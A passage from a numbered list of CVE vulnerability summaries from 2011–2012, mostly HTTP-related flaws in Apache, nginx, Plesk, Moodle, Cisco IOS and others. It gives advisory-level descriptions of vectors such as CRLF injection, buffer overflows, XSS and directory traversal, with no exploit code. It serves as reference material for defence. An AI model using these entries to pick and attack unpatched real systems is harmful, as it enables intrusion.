19050| [CVE-2012-2380] Multiple cross-site request forgery (CSRF) vulnerabilities in the admin/editor console in Apache Roller before 5.0.1 allow remote attackers to hijack the authentication of admins or editors by leveraging the HTTP POST functionality.
19051| [CVE-2012-2374] CRLF injection vulnerability in the tornado.web.RequestHandler.set_header function in Tornado before 2.2.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via crafted input.
19052| [CVE-2012-2357] The Multi-Authentication feature in the Central Authentication Service (CAS) functionality in auth/cas/cas_form.html in Moodle 2.1.x before 2.1.6 and 2.2.x before 2.2.3 does not use HTTPS, which allows remote attackers to obtain credentials by sniffing the network.
19053| [CVE-2012-2330] The Update method in src/node_http_parser.cc in Node.js before 0.6.17 and 0.7 before 0.7.8 does not properly check the length of a string, which allows remote attackers to obtain sensitive information (request header contents) and possibly spoof HTTP headers via a zero length string.
19054| [CVE-2012-2329] Buffer overflow in the apache_request_headers function in sapi/cgi/cgi_main.c in PHP 5.4.x before 5.4.3 allows remote attackers to cause a denial of service (application crash) via a long string in the header of an HTTP request.
19055| [CVE-2012-2223] The xplat agent in Novell ZENworks Configuration Management (ZCM) 10.3.x before 10.3.4 and 11.x before 11.2 enables the HTTP TRACE method, which might make it easier for remote attackers to conduct cross-site tracing (XST) attacks via unspecified vectors.
19056| [CVE-2012-2213] ** DISPUTED ** Squid 3.1.9 allows remote attackers to bypass the access configuration for the CONNECT method by providing an arbitrary allowed hostname in the Host HTTP header. NOTE: this issue might not be reproducible, because the researcher is unable to provide a squid.conf file for a vulnerable system, and the observed behavior is consistent with a squid.conf file that was (perhaps inadvertently) designed to allow access based on a "req_header Host" acl regex that matches www.uol.com.br.
19057| [CVE-2012-2212] ** DISPUTED ** McAfee Web Gateway 7.0 allows remote attackers to bypass the access configuration for the CONNECT method by providing an arbitrary allowed hostname in the Host HTTP header. NOTE: this issue might not be reproducible, because the researcher did not provide configuration details for the vulnerable system, and the observed behavior might be consistent with a configuration that was (perhaps inadvertently) designed to allow access based on Host HTTP headers.
19058| [CVE-2012-2190] IBM Global Security Kit (aka GSKit), as used in IBM HTTP Server in IBM WebSphere Application Server (WAS) 6.1.x before 6.1.0.45, 7.0.x before 7.0.0.25, 8.0.x before 8.0.0.4, and 8.5.x before 8.5.0.1, allows remote attackers to cause a denial of service (daemon crash) via a crafted ClientHello message in the TLS Handshake Protocol.
19059| [CVE-2012-2162] The Web Server Plug-in in IBM WebSphere Application Server (WAS) 8.0 and earlier uses unencrypted HTTP communication after expiration of the plugin-key.kdb password, which allows remote attackers to obtain sensitive information by sniffing the network, or spoof arbitrary servers via a man-in-the-middle attack.
19060| [CVE-2012-2138] The @CopyFrom operation in the POST servlet in the org.apache.sling.servlets.post bundle before 2.1.2 in Apache Sling does not prevent attempts to copy an ancestor node to a descendant node, which allows remote attackers to cause a denial of service (infinite loop) via a crafted HTTP request.
19061| [CVE-2012-2104] cgi-bin/munin-cgi-graph in Munin 2.x writes data to a log file without sanitizing non-printable characters, which might allow user-assisted remote attackers to inject terminal emulator escape sequences and execute arbitrary commands or delete arbitrary files via a crafted HTTP request.
19062| [CVE-2012-2089] Buffer overflow in ngx_http_mp4_module.c in the ngx_http_mp4_module module in nginx 1.0.7 through 1.0.14 and 1.1.3 through 1.1.18, when the mp4 directive is used, allows remote attackers to cause a denial of service (memory overwrite) or possibly execute arbitrary code via a crafted MP4 file.
19063| [CVE-2012-2041] CRLF injection vulnerability in the Component Browser in Adobe ColdFusion 8.0 through 9.0.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19064| [CVE-2012-1870] The CBC mode in the TLS protocol, as used in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, Windows 7 Gold and SP1, and other products, allows remote web servers to obtain plaintext data by triggering multiple requests to a third-party HTTPS server and sniffing the network during the resulting HTTPS session, aka "TLS Protocol Vulnerability."
19065| [CVE-2012-1837] The (1) webreports, (2) post/create-role, and (3) post/update-role programs in IBM Tivoli Endpoint Manager (TEM) before 8.2 do not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
19066| [CVE-2012-1804] The OPC server in Progea Movicon before 11.3 allows remote attackers to cause a denial of service (out-of-bounds read and memory corruption) via a crafted HTTP request.
19067| [CVE-2012-1783] Tiny Server 1.1.9 and earlier allows remote attackers to cause a denial of service (crash) via a long string in a GET request without an HTTP version number.
19068| [CVE-2012-1647] Multiple cross-site scripting (XSS) vulnerabilities in the "stand alone PHP application for the OSM Player," as used in the MediaFront module 6.x-1.x before 6.x-1.5 and 7.x-1.x before 7.x-1.5 for Drupal, allow remote attackers to inject arbitrary web script or HTML via (1) $_SERVER['HTTP_HOST'] or (2) $_SERVER['SCRIPT_NAME'] to players/osmplayer/player/OSMPlayer.php, (3) playlist parameter to players/osmplayer/player/getplaylist.php, and possibly other vectors related to $_SESSION.
19069| [CVE-2012-1466] The Traffic Grapher Server for NetMechanica NetDecision before 4.6.1 allows remote attackers to obtain the source code of NtDecision script files with a .nd extension via an invalid version number in an HTTP request, as demonstrated using default.nd. NOTE: some of these details are obtained from third party information.
19070| [CVE-2012-1465] Stack-based buffer overflow in the HTTP Server in NetMechanica NetDecision before 4.6.1 allows remote attackers to cause a denial of service (application crash) via a long URL in an HTTP request. NOTE: some of these details are obtained from third party information.
19071| [CVE-2012-1288] The UTC Fire & Security GE-MC100-NTP/GPS-ZB Master Clock device uses hardcoded credentials for an administrative account, which makes it easier for remote attackers to obtain access via an HTTP session.
19072| [CVE-2012-1184] Stack-based buffer overflow in the ast_parse_digest function in main/utils.c in Asterisk 1.8.x before 1.8.10.1 and 10.x before 10.2.1 allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string in an HTTP Digest Authentication header.
19073| [CVE-2012-1181] fcgid_spawn_ctl.c in the mod_fcgid module 2.3.6 for the Apache HTTP Server does not recognize the FcgidMaxProcessesPerClass directive for a virtual host, which makes it easier for remote attackers to cause a denial of service (memory consumption) via a series of HTTP requests that triggers a process count higher than the intended limit.
19074| [CVE-2012-1180] Use-after-free vulnerability in nginx before 1.0.14 and 1.1.x before 1.1.17 allows remote HTTP servers to obtain sensitive information from process memory via a crafted backend response, in conjunction with a client request.
19075| [CVE-2012-1011] actions.php in the AllWebMenus plugin 1.1.8 for WordPress allows remote attackers to bypass intended access restrictions to upload and execute arbitrary PHP code by setting the HTTP_REFERER to a certain value, then uploading a ZIP file containing a PHP file, then accessing it via a direct request to the file in an unspecified directory.
19076| [CVE-2012-0929] Multiple buffer overflows in Schneider Electric Modicon Quantum PLC allow remote attackers to cause a denial of service via malformed requests to the (1) FTP server or (2) HTTP server.
19077| [CVE-2012-0883] envvars (aka envvars-std) in the Apache HTTP Server before 2.4.2 places a zero-length directory name in the LD_LIBRARY_PATH, which allows local users to gain privileges via a Trojan horse DSO in the current working directory during execution of apachectl.
19078| [CVE-2012-0807] Stack-based buffer overflow in the suhosin_encrypt_single_cookie function in the transparent cookie-encryption feature in the Suhosin extension before 0.9.33 for PHP, when suhosin.cookie.encrypt and suhosin.multiheader are enabled, might allow remote attackers to execute arbitrary code via a long string that is used in a Set-Cookie HTTP header.
19079| [CVE-2012-0804] Heap-based buffer overflow in the proxy_connect function in src/client.c in CVS 1.11 and 1.12 allows remote HTTP proxy servers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted HTTP response.
19080| [CVE-2012-0788] The PDORow implementation in PHP before 5.3.9 does not properly interact with the session feature, which allows remote attackers to cause a denial of service (application crash) via a crafted application that uses a PDO driver for a fetch and then calls the session_start function, as demonstrated by a crash of the Apache HTTP Server.
19081| [CVE-2012-0647] WebKit in Apple Safari before 5.1.4 does not properly handle redirects in conjunction with HTTP authentication, which might allow remote web servers to capture credentials by logging the Authorization HTTP header.
19082| [CVE-2012-0479] Mozilla Firefox 4.x through 11.0, Firefox ESR 10.x before 10.0.4, Thunderbird 5.0 through 11.0, Thunderbird ESR 10.x before 10.0.4, and SeaMonkey before 2.9 allow remote attackers to spoof the address bar via an https URL for invalid (1) RSS or (2) Atom XML content.
19083| [CVE-2012-0475] Mozilla Firefox 4.x through 11.0, Thunderbird 5.0 through 11.0, and SeaMonkey before 2.9 do not properly construct the Origin and Sec-WebSocket-Origin HTTP headers, which might allow remote attackers to bypass an IPv6 literal ACL via a cross-site (1) XMLHttpRequest or (2) WebSocket operation involving a nonstandard port number and an IPv6 address that contains certain zero fields.
19084| [CVE-2012-0465] Bugzilla 3.5.x and 3.6.x before 3.6.9, 3.7.x and 4.0.x before 4.0.6, and 4.1.x and 4.2.x before 4.2.1, when the inbound_proxies option is enabled, does not properly validate the X-Forwarded-For HTTP header, which allows remote attackers to bypass the lockout policy via a series of authentication requests with (1) different IP address strings in this header or (2) a long string in this header.
19085| [CVE-2012-0451] CRLF injection vulnerability in Mozilla Firefox 4.x through 10.0, Firefox ESR 10.x before 10.0.3, Thunderbird 5.0 through 10.0, Thunderbird ESR 10.x before 10.0.3, and SeaMonkey before 2.8 allows remote web servers to bypass intended Content Security Policy (CSP) restrictions and possibly conduct cross-site scripting (XSS) attacks via crafted HTTP headers.
19086| [CVE-2012-0429] dhost in NetIQ eDirectory 8.8.6.x before 8.8.6.7 and 8.8.7.x before 8.8.7.2 on Windows allows remote authenticated users to cause a denial of service (daemon crash) via crafted characters in an HTTP request.
19087| [CVE-2012-0419] Directory traversal vulnerability in the agent HTTP interfaces in Novell GroupWise 8.0 before Support Pack 3 and 2012 before Support Pack 1 allows remote attackers to read arbitrary files via directory traversal sequences in a request.
19088| [CVE-2012-0392] The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
19089| [CVE-2012-0387] Memory leak in the HTTP Inspection Engine feature in the Zone-Based Firewall in Cisco IOS 12.4, 15.0, 15.1, and 15.2 allows remote attackers to cause a denial of service (memory consumption or device reload) via crafted transit HTTP traffic, aka Bug ID CSCtq36153.
19090| [CVE-2012-0384] Cisco IOS 12.2 through 12.4 and 15.0 through 15.2 and IOS XE 2.1.x through 2.6.x and 3.1.xS before 3.1.2S, 3.2.xS through 3.4.xS before 3.4.2S, 3.5.xS before 3.5.1S, and 3.1.xSG and 3.2.xSG before 3.2.2SG, when AAA authorization is enabled, allow remote authenticated users to bypass intended access restrictions and execute commands via a (1) HTTP or (2) HTTPS session, aka Bug ID CSCtr91106.
19091| [CVE-2012-0370] Cisco Wireless LAN Controller (WLC) devices with software 4.x, 5.x, 6.0, and 7.0 before 7.0.220.0 and 7.1 before 7.1.91.0, when WebAuth is enabled, allow remote attackers to cause a denial of service (device reload) via a sequence of (1) HTTP or (2) HTTPS packets, aka Bug ID CSCtt47435.
19092| [CVE-2012-0368] The administrative management interface on Cisco Wireless LAN Controller (WLC) devices with software 4.x, 5.x, 6.0, and 7.0 before 7.0.220.0, 7.1 before 7.1.91.0, and 7.2 before 7.2.103.0 allows remote attackers to cause a denial of service (device crash) via a malformed URL in an HTTP request, aka Bug ID CSCts81997.
19093| [CVE-2012-0310] CRLF injection vulnerability in Cogent DataHub 7.1.2 and earlier, Cascade DataHub 6.4.20 and earlier, and OPC DataHub 6.4.20 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19094| [CVE-2012-0271] Integer overflow in the WebConsole component in gwia.exe in GroupWise Internet Agent (GWIA) in Novell GroupWise 8.0 before 8.0.3 HP1 and 2012 before SP1 might allow remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow, as demonstrated by a request with -1 in the Content-Length HTTP header.
19095| [CVE-2012-0256] Apache Traffic Server 2.0.x and 3.0.x before 3.0.4 and 3.1.x before 3.1.3 does not properly allocate heap memory, which allows remote attackers to cause a denial of service (daemon crash) via a long HTTP Host header.
19096| [CVE-2012-0216] The default configuration of the apache2 package in Debian GNU/Linux squeeze before 2.2.16-6+squeeze7, wheezy before 2.2.22-4, and sid before 2.2.22-4, when mod_php or mod_rivet is used, provides example scripts under the doc/ URI, which might allow local users to conduct cross-site scripting (XSS) attacks, gain privileges, or obtain sensitive information via vectors involving localhost HTTP requests to the Apache HTTP Server.
19097| [CVE-2012-0147] Microsoft Forefront Unified Access Gateway (UAG) 2010 SP1 and SP1 Update 1 does not properly configure the default web site, which allows remote attackers to obtain sensitive information via a crafted HTTPS request, aka "Unfiltered Access to UAG Default Website Vulnerability."
19098| [CVE-2012-0146] Open redirect vulnerability in Microsoft Forefront Unified Access Gateway (UAG) 2010 SP1 and SP1 Update 1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a crafted URL, aka "UAG Blind HTTP Redirect Vulnerability."
19099| [CVE-2012-0053] protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script.
19100| [CVE-2012-0031] scoreboard.c in the Apache HTTP Server 2.2.21 and earlier might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.
19101| [CVE-2012-0021] The log_cookie function in mod_log_config.c in the mod_log_config module in the Apache HTTP Server 2.2.17 through 2.2.21, when a threaded MPM is used, does not properly handle a %{}C format string, which allows remote attackers to cause a denial of service (daemon crash) via a cookie that lacks both a name and a value.
19102| [CVE-2011-5127] Directory traversal vulnerability in Blue Coat Reporter 9.x before 9.2.4.13, 9.2.5.x before 9.2.5.1, and 9.3 before 9.3.1.2 on Windows allows remote attackers to read arbitrary files, and consequently execute arbitrary code, via an unspecified HTTP request.
19103| [CVE-2011-5125] Cross-site scripting (XSS) vulnerability in Blue Coat Director before 5.5.2.3 allows remote attackers to inject arbitrary web script or HTML via vectors involving the HTTP TRACE method.
19104| [CVE-2011-5100] The web interface in McAfee Firewall Reporter before 5.1.0.13 does not properly implement cookie authentication, which allows remote attackers to obtain access, and disable anti-virus functionality, via an HTTP request.
19105| [CVE-2011-5086] https50.ocx in IP*Works! SSL in the server in Unitronics UniOPC before 2.0.0 does not properly implement an unspecified function, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site.
19106| [CVE-2011-5078] The web administration interface in the server in Sybase M-Business Anywhere 6.7 before ESD# 3 and 7.0 before ESD# 7 does not require admin authentication for unspecified scripts, which allows remote authenticated users to list or delete user accounts, modify passwords, or read log files via HTTP requests, aka Bug IDs 678497 and 678499.
19107| [CVE-2011-5064] DigestAuthenticator.java in the HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 uses Catalina as the hard-coded server secret (aka private key), which makes it easier for remote attackers to bypass cryptographic protection mechanisms by leveraging knowledge of this string, a different vulnerability than CVE-2011-1184.
19108| [CVE-2011-5063] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not check realm values, which might allow remote attackers to bypass intended access restrictions by leveraging the availability of a protection space with weaker authentication or authorization requirements, a different vulnerability than CVE-2011-1184.
19109| [CVE-2011-5062] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not check qop values, which might allow remote attackers to bypass intended integrity-protection requirements via a qop=auth value, a different vulnerability than CVE-2011-1184.
19110| [CVE-2011-5058] The CmbWebserver.dll module of the Control service in 3S CoDeSys 3.4 SP4 Patch 2 allows remote attackers to create arbitrary directories under the web root by specifying a non-existent directory using \ (backslash) characters in an HTTP GET request.
19111| [CVE-2011-5009] The CmpWebServer.dll module in the Control service in 3S CoDeSys 3.4 SP4 Patch 2 allows remote attackers to cause a denial of service (NULL pointer dereference) via (1) a crafted Content-Length in an HTTP POST or (2) an invalid HTTP request method.
19112| [CVE-2011-4940] The list_directory function in Lib/SimpleHTTPServer.py in SimpleHTTPServer in Python before 2.5.6c1, 2.6.x before 2.6.7 rc2, and 2.7.x before 2.7.2 does not place a charset parameter in the Content-Type HTTP header, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks against Internet Explorer 7 via UTF-7 encoding.
19113| [CVE-2011-4909] Multiple cross-site scripting (XSS) vulnerabilities in Joomla! before 1.5.12 allow remote attackers to inject arbitrary web script or HTML via the HTTP_REFERER header to (1) components/com_content/views/article/tmpl/form.php, (2) components/com_user/controller.php, (3) plugins/system/legacy/html.php, or (4) templates/beez/html/com_content/article/form.php.
19114| [CVE-2011-4899] ** DISPUTED ** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure that the specified MySQL database service is appropriate, which allows remote attackers to configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct static code injection and cross-site scripting (XSS) attacks via (1) an HTTP request or (2) a MySQL query. NOTE: the vendor disputes the significance of this issue
19115| [CVE-2011-4883] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 does not properly validate values in HTTP requests, which allows remote attackers to cause a denial of service (resource consumption) via a crafted request.
19116| [CVE-2011-4882] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 allows remote attackers to cause a denial of service (application exit) via an unspecified command in an HTTP request.
19117| [CVE-2011-4881] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 does not properly check return values from functions, which allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted HTTP request.
19118| [CVE-2011-4880] Directory traversal vulnerability in the web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 allows remote attackers to read arbitrary files via a crafted HTTP request.
19119| [CVE-2011-4854] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not ensure that Content-Type HTTP headers match the corresponding Content-Type data in HTML META elements, which might allow remote attackers to have an unspecified impact by leveraging an interpretation conflict involving the get_enabled_product_icon program. NOTE: it is possible that only clients, not the Plesk product, could be affected by this issue.
19120| [CVE-2011-4850] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by help.php and certain other files.
19121| [CVE-2011-4849] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not set the secure flag for a cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session, as demonstrated by cookies used by help.php and certain other files.
19122| [CVE-2011-4848] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 includes a submitted password within an HTTP response body, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by password handling in certain files under client@1/domain@1/backup/local-repository/.
19123| [CVE-2011-4765] The Site Editor (aka SiteBuilder) feature in Parallels Plesk Small Business Panel 10.2.0 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by Wizard/Edit/Modules/ImageGallery/MultiImagesUpload and certain other files.
19124| [CVE-2011-4758] Parallels Plesk Small Business Panel 10.2.0 receives cleartext password input over HTTP, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by forms in smb/auth and certain other files.
19125| [CVE-2011-4756] Parallels Plesk Small Business Panel 10.2.0 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by domains/sitebuilder_edit.php and certain other files.
19126| [CVE-2011-4738] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by get_password.php and certain other files.
19127| [CVE-2011-4737] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 includes a submitted password within an HTTP response body, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by password handling in client@2/domain@1/odbc/dsn@1/properties/.
19128| [CVE-2011-4736] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 receives cleartext password input over HTTP, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by forms in login_up.php3 and certain other files.
19129| [CVE-2011-4729] The Server Administration Panel in Parallels Plesk Panel 10.2.0_build1011110331.18 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by login_up.php3 and certain other files.
19130| [CVE-2011-4728] The Server Administration Panel in Parallels Plesk Panel 10.2.0_build1011110331.18 does not set the secure flag for a cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session, as demonstrated by cookies used by login_up.php3 and certain other files.
19131| [CVE-2011-4712] Directory traversal vulnerability in Oxide WebServer allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in an HTTP request.
19132| [CVE-2011-4710] Multiple SQL injection vulnerabilities in Pixie CMS 1.01 through 1.04 allow remote attackers to execute arbitrary SQL commands via the (1) pixie_user parameter and (2) Referer HTTP header in a request to the default URI.
19133| [CVE-2011-4668] IBM Tivoli Netcool/Reporter 2.2 before 2.2.0.8 allows remote attackers to execute arbitrary code via vectors related to an unspecified CGI program used with the Apache HTTP Server.
19134| [CVE-2011-4644] Splunk 4.2.5 and earlier, when a Free license is selected, enables potentially undesirable functionality within an environment that intentionally does not support authentication, which allows remote attackers to (1) read arbitrary files via a management-console session that leverages the ability to create crafted data sources, or (2) execute management commands via an HTTP request.
19135| [CVE-2011-4643] Multiple directory traversal vulnerabilities in Splunk 4.x before 4.2.5 allow remote authenticated users to read arbitrary files via a .. (dot dot) in a URI to (1) Splunk Web or (2) the Splunkd HTTP Server, aka SPL-45243.
19136| [CVE-2011-4586] CRLF injection vulnerability in calendar/set.php in the Calendar subsystem in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, and 2.1.x before 2.1.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
19137| [CVE-2011-4585] login/change_password.php in Moodle 1.9.x before 1.9.15 does not use https for the change-password form even if the httpslogin option is enabled, which allows remote attackers to obtain credentials by sniffing the network.
19138| [CVE-2011-4562] Multiple cross-site scripting (XSS) vulnerabilities in (1) view/admin/log_item.php and (2) view/admin/log_item_details.php in the Redirection plugin 2.2.9 for WordPress allow remote attackers to inject arbitrary web script or HTML via the Referer HTTP header in a request to a post that does not exist.
19139| [CVE-2011-4545] CRLF injection vulnerability in admin/displayImage.php in Prestashop 1.4.4.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the name parameter.
19140| [CVE-2011-4451] ** DISPUTED ** libs/Wakka.class.php in WikkaWiki 1.3.1 and 1.3.2, when the spam_logging option is enabled, allows remote attackers to write arbitrary PHP code to the spamlog_path file via the User-Agent HTTP header in an addcomment request. NOTE: the vendor disputes this issue because the rendering of the spamlog_path file never uses the PHP interpreter.
19141| [CVE-2011-4449] actions/files/files.php in WikkaWiki 1.3.1 and 1.3.2, when INTRANET_MODE is enabled, supports file uploads for file extensions that are typically absent from an Apache HTTP Server TypesConfig file, which makes it easier for remote attackers to execute arbitrary PHP code by placing this code in a file whose name has multiple extensions, as demonstrated by a (1) .mm or (2) .vpp file.
19142| [CVE-2011-4435] The web-server component in the Consolidation and Analysis Engine (CAE) Server in DB2 Query Monitor in IBM DB2 Tools 2.3.0 for z/OS does not prevent directory browsing, which allows remote attackers to obtain sensitive information via HTTP requests.
19143| [CVE-2011-4415] The ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, does not restrict the size of values of environment variables, which allows local users to cause a denial of service (memory consumption or NULL pointer dereference) via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, related to (1) the "len +=" statement and (2) the apr_pcalloc function call, a different vulnerability than CVE-2011-3607.
19144| [CVE-2011-4408] The Single Sign On Client (ubuntu-sso-client) for Ubuntu 11.04 and 11.10 does not properly validate SSL certificates when using HTTPS, which allows remote attackers to spoof a server and modify or read sensitive data via a man-in-the-middle (MITM) attack.
19145| [CVE-2011-4404] The default configuration of the HTTP server in Jetty in vSphere Update Manager in VMware vCenter Update Manager 4.0 before Update 4 and 4.1 before Update 2 allows remote attackers to conduct directory traversal attacks and read arbitrary files via unspecified vectors, a related issue to CVE-2009-1523.
19146| [CVE-2011-4362] Integer signedness error in the base64_decode function in the HTTP authentication functionality (http_auth.c) in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service (segmentation fault) via crafted base64 input that triggers an out-of-bounds read with a negative index.
19147| [CVE-2011-4317] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
19148| [CVE-2011-4294] The error-message functionality in Moodle 1.9.x before 1.9.13, 2.0.x before 2.0.4, and 2.1.x before 2.1.1 does not ensure that a continuation link refers to an http or https URL for the local Moodle instance, which might allow attackers to trick users into visiting arbitrary web sites via unspecified vectors.
19149| [CVE-2011-4237] CRLF injection vulnerability in autologin.jsp in Cisco CiscoWorks Common Services 4.0, as used in Cisco Prime LAN Management Solution and other products, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the URL parameter, aka Bug ID CSCtu18693.
19150| [CVE-2011-4203] CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.
19151| [CVE-2011-4140] The CSRF protection mechanism in Django through 1.2.7 and 1.3.x through 1.3.1 does not properly handle web-server configurations supporting arbitrary HTTP Host headers, which allows remote attackers to trigger unauthenticated forged requests via vectors involving a DNS CNAME record and a web page containing JavaScript code.
19152| [CVE-2011-4139] Django before 1.2.7 and 1.3.x before 1.3.1 uses a request's HTTP Host header to construct a full URL in certain circumstances, which allows remote attackers to conduct cache poisoning attacks via a crafted request.
19153| [CVE-2011-4085] The servlets invoked by httpha-invoker in JBoss Enterprise Application Platform before 5.1.2, SOA Platform before 5.2.0, BRMS Platform before 5.3.0, and Portal Platform before 4.3 CP07 perform access control only for the GET and POST methods, which allow remote attackers to bypass authentication by sending a request with a different method. NOTE: this vulnerability exists because of a CVE-2010-0738 regression.
19154| [CVE-2011-3880] Google Chrome before 15.0.874.102 does not prevent use of an unspecified special character as a delimiter in HTTP headers, which has unknown impact and remote attack vectors.
19155| [CVE-2011-3670] Mozilla Firefox before 3.6.26 and 4.x through 6.0, Thunderbird before 3.1.18 and 5.0 through 6.0, and SeaMonkey before 2.4 do not properly enforce the IPv6 literal address syntax, which allows remote attackers to obtain sensitive information by making XMLHttpRequest calls through a proxy and reading the error messages.
19156| [CVE-2011-3639] The mod_proxy module in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x before 2.2.18, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers by using the HTTP/0.9 protocol with a malformed URI containing an initial @ (at sign) character. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
19157| [CVE-2011-3607] Integer overflow in the ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, allows local users to gain privileges via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, leading to a heap-based buffer overflow.
19158| [CVE-2011-3579] server/webmail.php in IceWarp WebMail in IceWarp Mail Server before 10.3.3 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference.
19159| [CVE-2011-3575] Stack-based buffer overflow in the NSFComputeEvaluateExt function in Nnotes.dll in IBM Lotus Domino 8.5.2 allows remote authenticated users to execute arbitrary code via a long tHPRAgentName parameter in an fmHttpPostRequest OpenForm action to WebAdmin.nsf.
19160| [CVE-2011-3500] Directory traversal vulnerability in the web server in Cogent DataHub 7.1.1.63 and earlier allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in an HTTP request.
19161| [CVE-2011-3487] Directory traversal vulnerability in CarelDataServer.exe in Carel PlantVisor 2.4.4 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
19162| [CVE-2011-3426] Cross-site scripting (XSS) vulnerability in Safari in Apple iOS before 5 allows remote web servers to inject arbitrary web script or HTML via a file accompanied by a "Content-Disposition: attachment" HTTP header.
19163| [CVE-2011-3422] The Keychain implementation in Apple Mac OS X 10.6.8 and earlier does not properly handle an untrusted attribute of a Certification Authority certificate, which makes it easier for man-in-the-middle attackers to spoof arbitrary SSL servers via an Extended Validation certificate, as demonstrated by https access with Safari.
19164| [CVE-2011-3404] Microsoft Internet Explorer 6 through 9 does not properly use the Content-Disposition HTTP header to control rendering of the HTTP response body, which allows remote attackers to read content from a different (1) domain or (2) zone via a crafted web site, aka "Content-Disposition Information Disclosure Vulnerability."
